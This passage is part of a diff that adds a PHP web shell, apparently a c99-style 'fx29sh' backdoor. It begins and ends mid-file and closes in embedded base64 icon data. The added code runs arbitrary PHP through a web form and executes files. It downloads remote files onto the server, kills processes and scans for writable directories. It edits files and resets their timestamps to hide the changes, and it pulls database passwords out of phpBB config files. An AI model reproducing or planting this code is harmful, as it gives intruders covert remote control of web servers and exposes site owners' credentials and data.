".$darg; + } + else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; } + } + elseif ($fsfunc=="downloadbin") { + $handle = fopen($arg1, "rb"); + $contents = ''; + while (!feof($handle)) { + $contents .= fread($handle, 8192); + } + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; } + fclose($r); + fclose($handle); + } + elseif ($fsfunc=="download") { + $text = implode('', file($arg1)); + if ($text) { + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; } + fclose($r); + } + else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";} + } + elseif ($fsfunc=='mkdir') { + $thedir = $d.$arg1; + if ($thedir != $d) { + if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); } + elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); } + else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);} + } + else { echo "Can't create current dir:<b> $thedir</b>"; } + } + elseif ($fsfunc=='fwritabledir') { + function recurse_dir($dir,$max_dir) { + global $dir_count; + $dir_count++; + if( $cdir = dir($dir) ) { + while( $entry = $cdir-> read() ) { + if( $entry != '.' && $entry != '..' ) { + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + if ($dir_count > $max_dir) { return; } + echo "[".$dir_count."] ".$dir.$entry."\n"; + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + } + } + } + $cdir->close(); + } + } + if (!$arg1) { $arg1 = $d; } + if (!$arg2) { $arg2 = 10; } + if (is_dir($arg1)) { + echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>"; + echo "<pre>"; + recurse_dir($arg1,$arg2); + echo "</pre>"; + $total = $dir_count - 1; + echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2"; + } + else { + echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>"; + } + } + else { + if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; } + else { + if ($hasil = $fsfunc($arg1)) { + echo "<b>Result of $fsfunc $arg1:</b><br>"; + if (!is_array($hasil)) { echo "$hasil\n"; } + else { + echo "<pre>"; + foreach ($hasil as $v) { echo $v."\n"; } + echo "</pre>"; + } + } + else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; } + } + } + echo "</div>\n"; +} +if ($act == "processes") { + echo "<div class=barheader>.: Processes :.</div>\n"; + if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); } + else { $handler = "tasklist"; } + $ret = fx29exec($handler); + if (!$ret) { echo "Can't execute \"".$handler."\"!"; } + else { + if (empty($processes_sort)) { $processes_sort = $sort_default; } + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; + } + else { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>"; + } + $ret = htmlspecialchars($ret); + if (!$win) { //Not Windows + if ($pid) { + if (is_null($sig)) { $sig = 9; } + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; } + } + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) { + if ($i != $k) { + $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>"; + } + } + $head[$i] = ""; + $prcs = array(); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; } + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + } + } + } + //For Windows - Fixed By FaTaLisTiCz_Fx + else { + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); } + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $stack[0]=str_replace("Image Name","ImageName",$stack[0]); + $stack[0]=str_replace("Session Name","SessionName",$stack[0]); + $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); + $head = explode(" ",$stack[0]); + $stack = array_slice($stack,1); + $head = array_values($head); + if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; } + else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; } + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) { + if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; } + } + $prcs = array(); + unset($stack[0]); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[4] = str_replace(".","",$line[4]); + $line[4] = intval($line[4]) * 1024; + unset($line[5]); + $prcs[] = $line; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); } + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<table class=explorer>\n"; + foreach($tab as $i=>$k) { + echo "<tr>"; + foreach($k as $j=>$v) { + if ($win and $i > 0 and $j == 4) { $v = view_size($v); } + echo "<td>".$v."</td>"; + } + echo "</tr>\n"; + } + echo "</table>"; + } +} +if ($act == "eval") { + if (!empty($eval)) { + echo "Result of execution this PHP-code:<br>"; + $tmp = @ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) { + @ob_clean(); + eval($eval); + $ret = @ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + @ob_clean(); + echo $tmp; + if ($eval_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else { + if ($eval_txt) { + echo "<br><textarea cols=\"115\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") { + echo "<div align=left>"; + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>"; + $fi = fopen($d.$f,"rb"); + if ($fi) { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + echo "<table border=1 bgcolor=#666666>". + "<tr><td bgcolor=#666666>".$a0."</td>". + "<td bgcolor=#000000>".$a1."</td>". + "<td bgcolor=#000000>".$a2."</td>". + "</tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> + <P>"; + } + elseif ($ft == "html") { + if ($white) {@ob_clean();} + echo $r; + if ($white) {fx29shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { + $arr = explode("\n",$r); + if (count($arr == 18)) { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {fx29shexit();} + echo "</div>"; + } + elseif ($ft == "download") { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") { + $inf = getimagesize($d.$f); + if (!$white) { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";} +} +echo "</div>\n"; +} +} +else { +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> 